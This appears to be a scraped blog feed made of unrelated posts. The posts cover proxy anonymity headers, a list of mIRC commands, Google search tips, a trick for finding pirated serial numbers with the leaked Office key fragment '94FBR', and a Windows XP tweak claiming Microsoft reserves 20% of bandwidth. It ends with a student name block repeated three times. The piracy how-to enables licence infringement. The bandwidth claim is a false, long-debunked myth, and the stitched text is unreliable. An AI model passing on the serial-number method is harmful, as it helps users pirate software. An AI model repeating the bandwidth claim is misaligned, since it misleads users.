HTTP_USER_AGENT = Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP_HOST = www.webserver.ru
HTTP_VIA = 194.85.1.1 (Squid/2.4.STABLE7)
HTTP_X_FORWARDED_FOR = 194.115.5.5

Anonymity at work in Internet is determined by what environment variables "hide" from a web-server.

If a proxy server is not used, then environment variables look in the following way:

REMOTE_ADDR = your IP
HTTP_VIA = not determined
HTTP_X_FORWARDED_FOR = not determined

According to how environment variables "hided" by proxy servers, there are several types of proxies
Transparent Proxies

They do not hide information about your IP address:

REMOTE_ADDR = proxy IP
HTTP_VIA = proxy IP
HTTP_X_FORWARDED_FOR = your IP

The function of such proxy servers is not the improvement of your anonymity in Internet. Their purpose is information cashing, organization of joint access to Internet of several computers, etc.
Anonymous Proxies

All proxy servers, that hide a client?s IP address in any way are called anonymous proxies

Simple Anonymous Proxies

These proxy servers do not hide a fact that a proxy is used, however they replace your IP with its own:
REMOTE_ADDR = proxy IP
HTTP_VIA = proxy IP
HTTP_X_FORWARDED_FOR = proxy IP

These proxies are the most widespread among other anonymous proxy servers.

Distorting Proxies

As well as simple anonymous proxy servers these proxies do not hide the fact that a proxy server is used. However a client?s IP address (your IP address) is replaced with another (arbitrary, random) IP:

REMOTE_ADDR = proxy IP
HTTP_VIA = proxy IP
HTTP_X_FORWARDED_FOR = random IP address
High Anonymity Proxies

These proxy servers are also called "high anonymity proxy". In contrast to other types of anonymity proxy servers they hide a fact of using a proxy:

REMOTE_ADDR = proxy IP
HTTP_VIA = not determined
HTTP_X_FORWARDED_FOR = not determined

That means that values of variables are the same as if proxy is not used, with the exception of one very important thing ? proxy IP is used instead of your IP address.
Summary

Depending on purposes there are transparent and anonymity proxies. However, remember, using proxy servers you hide only your IP from a web-server, but other information (about browser configuration) is accessible!

All mIRC Commands

noreply@blogger.com (https://cyber-dw.blogspot.com/) — Tue, 12 Apr 2016 11:00:00 +0000

All mIRC Commands

/ Recalls the previous command entered in the current window.
/! Recalls the last command typed in any window.
/action {action text} Sends the specifed action to the active channel or query window.
/add [-apuce] {filename.ini} Loads aliases, popups, users, commands, and events.
/ame {action text} Sends the specifed action to all channels which you are currently on.
/amsg {text} Sends the specifed message to all channels which you are currently on.
/auser {level} {nick|address} Adds a user with the specified access level to the remote users
list.
/auto [on|off|nickname|address] Toggles auto-opping of a nick or address or sets it on or off
totally.
/away {away message} Sets you away leave a message explaining that you are not currently paying
attention to IRC.
/away Sets you being back.
/ban [#channel] {nickname} [type] Bans the specified nick from the curent or given channel.
/beep {number} {delay} Locally beeps 'number' times with 'delay' in between the beeps. /channel
Pops up the channel central window (only works in a channel).
/clear Clears the entire scrollback buffer of the current window.
/ctcp {nickname} {ping|finger|version|time|userinfo|clientinfo} Does the given ctcp request on
nickname.
/closemsg {nickname} Closes the query window you have open to the specified nick.
/creq [ask | auto | ignore] Sets your DCC 'On Chat request' settings in DCC/Options.
/dcc send {nickname} {file1} {file2} {file3} ... {fileN} Sends the specified files to nick.
/dcc chat {nickname} Opens a dcc window and sends a dcc chat request to nickname.
/describe {#channel} {action text} Sends the specifed action to the specified channel window.
/dde [-r] {service} {topic} {item} [data] Allows DDE control between mIRC and other
applications.
/ddeserver [on [service name] | off] To turn on the DDE server mode, eventually with a given
service name.
/disable {#groupname} De-activates a group of commands or events.
/disconnect Forces a hard and immediate disconnect from your IRC server. Use it with care.
/dlevel {level} Changes the default user level in the remote section.
/dns {nickname | IP address | IP name} Uses your providers DNS to resolve an IP address.
/echo [nickname|#channel|status] {text} Displays the given text only to YOU on the given place
in color N.
/enable {#groupname} Activates a group of commands or events.
/events [on|off] Shows the remote events status or sets it to listening or not.
/exit Forces mIRC to closedown and exit.
/finger Does a finger on a users address.
/flood [{numberoflines} {seconds} {pausetime}] Sets a crude flood control method.
/fsend [on|off] Shows fsends status and allows you to turn dcc fast send on or off.
/fserve {nickname} {maxgets} {homedirectory} [welcome text file] Opens a fileserver.
/guser {level} {nick} [type] Adds the user to the user list with the specified level and
address type.
/help {keyword} Brings up the Basic IRC Commands section in the mIRC help file.
/ignore [on|off|nickname|address] Toggles ignoring of a nick or address or sets it on or off
totally.
/invite {nickname} {#channel} Invites another user to a channel.
/join {#channel} Makes you join the specified channel.
/kick {#channel} {nickname} Kicks nickname off a given channel.
/list [#string] [-min #] [-max #] Lists all currently available channels, evt. filtering for
parameters.
/log [on|off] Shows the logging status or sets it on or off for the current window.
/me {action text} Sends the specifed action to the active channel or query window.
/mode {#channel|nickname} [[+|-]modechars [parameters]] Sets channel or user modes.
/msg {nickname} {message} Send a private message to this user without opening a query window.
/names {#channel} Shows the nicks of all people on the given channel.
/nick {new nickname} Changes your nickname to whatever you like.
/notice {nick} {message} Send the specified notice message to the nick.
/notify [on|off|nickname] Toggles notifying you of a nick on IRC or sets it on or off totally.
/onotice [#channel] {message} Send the specified notice message to all channel ops.
/omsg [#channel] {message} Send the specified message to all ops on a channel.
/part {#channel} Makes you leave the specified channel.
/partall Makes you leave all channels you are on.
/ping {server address} Pings the given server. NOT a nickname.
/play [-c] {filename} [delay] Allows you to send text files to a window.
/pop {delay} [#channel] {nickname} Performs a randomly delayed +o on a not already opped nick.
/protect [on|off|nickname|address] Toggles protection of a nick or address or sets it on or off
totally.
/query {nickname} {message} Open a query window to this user and send them the private message.
/quit [reason] Disconnect you from IRC with the optional byebye message.
/raw {raw command} Sends any raw command you supply directly to the server. Use it with care!!
/remote [on|off] Shows the remote commands status or sets it to listening or not.
/rlevel {access level} Removes all users from the remote users list with the specified access
level.
/run {c:\path\program.exe} [parameters] Runs the specified program, evt. with parameters.
/ruser {nick[!]|address} [type] Removes the user from the remote users list.
/save {filename.ini} Saves remote sections into a specified INI file.
/say {text} Says whatever you want to the active window.
/server [server address [port] [password]] Reconnects to the previous server or a newly
specified one.
/sound [nickname|#channel] {filename.wav} {action text} Sends an action and a fitting sound.
/speak {text} Uses the external text to speech program Monologue to speak up the text.
/sreq [ask | auto | ignore] Sets your DCC 'On Send request' settings in DCC/Options.
/time Tells you the time on the server you use.
/timer[N] {repetitions} {interval in seconds} {command} [| {more commands}] Activates a timer.
/topic {#channel} {newtopic} Changes the topic for the specified channel.
/ulist [{|}]{level} Lists all users in the remote list with the specified access levels.
/url [-d] Opens the URL windows that allows you to surf the www parallel to IRC.
/uwho [nick] Pops up the user central with information about the specified user.
/who {#channel} Shows the nicks of all people on the given channel.
/who {*address.string*} Shows all people on IRC with a matching address.
/whois {nickname} Shows information about someone in the status window.
/whowas {nickname} Shows information about someone who -just- left IRC.
/wavplay {c:\path\sound.wav} Locally plays the specified wave file.
/write [-cidl] {filename} [text] To write the specified text to a .txt file.

MoViEBoT #xdcc-help /server irc.atomic-irc.net

We strive to make IRC easier for you!

Great Google Secrets

noreply@blogger.com (https://cyber-dw.blogspot.com/) — Tue, 12 Apr 2016 00:00:00 +0000

Google is clearly the best general-purpose search engine on the Web (see www.pcmag.com/searchengines)
But most people don't use it to its best advantage. Do you just plug in a keyword or two and hope for the best? That may be the quickest way to search, but with more than 3 billion pages in Google's index, it's still a struggle to pare results to a manageable number.

But Google is an remarkably powerful tool that can ease and enhance your Internet exploration. Google's search options go beyond simple keywords, the Web, and even its own programmers. Let's look at some of Google's lesser-known options.

Syntax Search Tricks

Using a special syntax is a way to tell Google that you want to restrict your searches to certain elements or characteristics of Web pages. Google has a fairly complete list of its syntax elements at

www.google.com/help/operators.html

. Here are some advanced operators that can help narrow down your search results.

Intitle: at the beginning of a query word or phrase (intitle:"Three Blind Mice") restricts your search results to just the titles of Web pages.

Intext: does the opposite of intitle:, searching only the body text, ignoring titles, links, and so forth. Intext: is perfect when what you're searching for might commonly appear in URLs. If you're looking for the term HTML, for example, and you don't want to get results such as www.mysite.com/index.html, you can enter intext:html.

Link: lets you see which pages are linking to your Web page or to another page you're interested in. For example, try typing in

link:http://www.pcmag.com

Try using site: (which restricts results to top-level domains) with intitle: to find certain types of pages. For example, get scholarly pages about Mark Twain by searching for intitle:"Mark Twain"site:edu. Experiment with mixing various elements; you'll develop several strategies for finding the stuff you want more effectively. The site: command is very helpful as an alternative to the mediocre search engines built into many sites.

Swiss Army Google

Google has a number of services that can help you accomplish tasks you may never have thought to use Google for. For example, the new calculator feature

(www.google.com/help/features.html#calculator)

lets you do both math and a variety of conversions from the search box. For extra fun, try the query "Answer to life the universe and everything."

Let Google help you figure out whether you've got the right spelling—and the right word—for your search. Enter a misspelled word or phrase into the query box (try "thre blund mise") and Google may suggest a proper spelling. This doesn't always succeed; it works best when the word you're searching for can be found in a dictionary. Once you search for a properly spelled word, look at the results page, which repeats your query. (If you're searching for "three blind mice," underneath the search window will appear a statement such as Searched the web for "three blind mice.") You'll discover that you can click on each word in your search phrase and get a definition from a dictionary.

Suppose you want to contact someone and don't have his phone number handy. Google can help you with that, too. Just enter a name, city, and state. (The city is optional, but you must enter a state.) If a phone number matches the listing, you'll see it at the top of the search results along with a map link to the address. If you'd rather restrict your results, use rphonebook: for residential listings or bphonebook: for business listings. If you'd rather use a search form for business phone listings, try Yellow Search

(www.buzztoolbox.com/google/yellowsearch.shtml).

Extended Googling

Google offers several services that give you a head start in focusing your search. Google Groups

(http://groups.google.com)

indexes literally millions of messages from decades of discussion on Usenet. Google even helps you with your shopping via two tools: Froogle
CODE
(http://froogle.google.com),

which indexes products from online stores, and Google Catalogs
CODE
(http://catalogs.google.com),

which features products from more 6,000 paper catalogs in a searchable index. And this only scratches the surface. You can get a complete list of Google's tools and services at

www.google.com/options/index.html

You're probably used to using Google in your browser. But have you ever thought of using Google outside your browser?

Google Alert

(www.googlealert.com)

monitors your search terms and e-mails you information about new additions to Google's Web index. (Google Alert is not affiliated with Google; it uses Google's Web services API to perform its searches.) If you're more interested in news stories than general Web content, check out the beta version of Google News Alerts

(www.google.com/newsalerts).

This service (which is affiliated with Google) will monitor up to 50 news queries per e-mail address and send you information about news stories that match your query. (Hint: Use the intitle: and source: syntax elements with Google News to limit the number of alerts you get.)

Google on the telephone? Yup. This service is brought to you by the folks at Google Labs

(http://labs.google.com),

a place for experimental Google ideas and features (which may come and go, so what's there at this writing might not be there when you decide to check it out). With Google Voice Search

(http://labs1.google.com/gvs.html),

you dial the Voice Search phone number, speak your keywords, and then click on the indicated link. Every time you say a new search term, the results page will refresh with your new query (you must have JavaScript enabled for this to work). Remember, this service is still in an experimental phase, so don't expect 100 percent success.

In 2002, Google released the Google API (application programming interface), a way for programmers to access Google's search engine results without violating the Google Terms of Service. A lot of people have created useful (and occasionally not-so-useful but interesting) applications not available from Google itself, such as Google Alert. For many applications, you'll need an API key, which is available free from
CODE
www.google.com/apis

See the figures for two more examples, and visit www.pcmag.com/solutions for more.

Thanks to its many different search properties, Google goes far beyond a regular search engine. Give the tricks in this article a try. You'll be amazed at how many different ways Google can improve your Internet searching.

Online Extra: More Google Tips

Here are a few more clever ways to tweak your Google searches.

Search Within a Timeframe

Daterange: (start date–end date). You can restrict your searches to pages that were indexed within a certain time period. Daterange: searches by when Google indexed a page, not when the page itself was created. This operator can help you ensure that results will have fresh content (by using recent dates), or you can use it to avoid a topic's current-news blizzard and concentrate only on older results. Daterange: is actually more useful if you go elsewhere to take advantage of it, because daterange: requires Julian dates, not standard Gregorian dates. You can find converters on the Web (such as

CODE
http://aa.usno.navy.mil/data/docs/JulianDate.html.

If one special syntax element is good, two must be better, right? Sometimes. Though some operators can't be mixed (you can't use the link: operator with anything else) many can be, quickly narrowing your results to a less overwhelming number.

More Google API Applications

Staggernation.com offers three tools based on the Google API. The Google API Web Search by Host (GAWSH) lists the Web hosts of the results for a given query

(www.staggernation.com/gawsh/).

When you click on the triangle next to each host, you get a list of results for that host. The Google API Relation Browsing Outliner (GARBO) is a little more complicated: You enter a URL and choose whether you want pages that related to the URL or linked to the URL (www.staggernation.com/garbo/).

Click on the triangle next to an URL to get a list of pages linked or related to that particular URL. CapeMail is an e-mail search application that allows you to send an e-mail to google@capeclear.com with the text of your query in the subject line and get the first ten results for that query back. Maybe it's not something you'd do every day, but if your cell phone does e-mail and doesn't do Web browsing, this is a very handy address to know.

Tutorial Get the serial number you need

noreply@blogger.com (https://cyber-dw.blogspot.com/) — Thu, 31 Mar 2016 14:29:00 +0000

Get the serial number you need ! (For Certain Things)

* Go to Google.

* In the search field type: "Product name" 94FBR

* Where, "Product Name" is the name of the item you want to find the serial number for.

* And voila - there you go - the serial number you needed.

HOW DOES THIS WORK?

Quite simple really. 94FBR is part of a Office 2000 Pro cd key that is widely distributed as it bypasses the activation requirements of Office 2K Pro. By searching for the product name and 94fbr, you guarantee two things. 1) The pages that are returned are pages dealing specifically with the product you're wanting a serial for. 2) Because 94FBR is part of a serial number, and only part of a serial number, you guarantee that any page being returned is a serial number list page.

See these example searches:

"Photoshop 7" 94FBR

"Age of Mythology" 94FBR

"Nero Burning Rom 5.5" 94FBR

Speed Up Your Bandwidth By 20% ! Windows uses 20% of your bandwidth

noreply@blogger.com (https://cyber-dw.blogspot.com/) — Tue, 29 Mar 2016 13:06:00 +0000

Windows uses 20% of your bandwidth Here's how to Get it back

A nice little tweak for XP. Microsoft reserve 20% of your available bandwidth for their own purposes (suspect for updates and interrogating your machine etc..)

Here's how to get it back:

Click Start-->Run-->type "gpedit.msc" without the "

This opens the group policy editor. Then go to:

Local Computer Policy-->Computer Configuration-->Administrative Templates-->Network-->QOS Packet Scheduler-->Limit Reservable Bandwidth

Double click on Limit Reservable bandwidth. It will say it is not configured, but the truth is under the 'Explain' tab :

"By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection,

but you can use this setting to override the default."

So the trick is to ENABLE reservable bandwidth, then set it to ZERO.

This will allow the system to reserve nothing, rather than the default 20%.

I have tested on XP Pro, and 2000

other o/s not tested.

Please give me feedback about your results

Cyber

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Speed Up Your Bandwidth By 20% ! Windows uses 20% of your bandwidth

Disusun oleh :
Tri Evendi
16.11.0247
S1 Informatics 04

Disusun oleh :
Tri Evendi
16.11.0247
S1 Informatics 04

Disusun oleh :
Tri Evendi
16.11.0247
S1 Informatics 04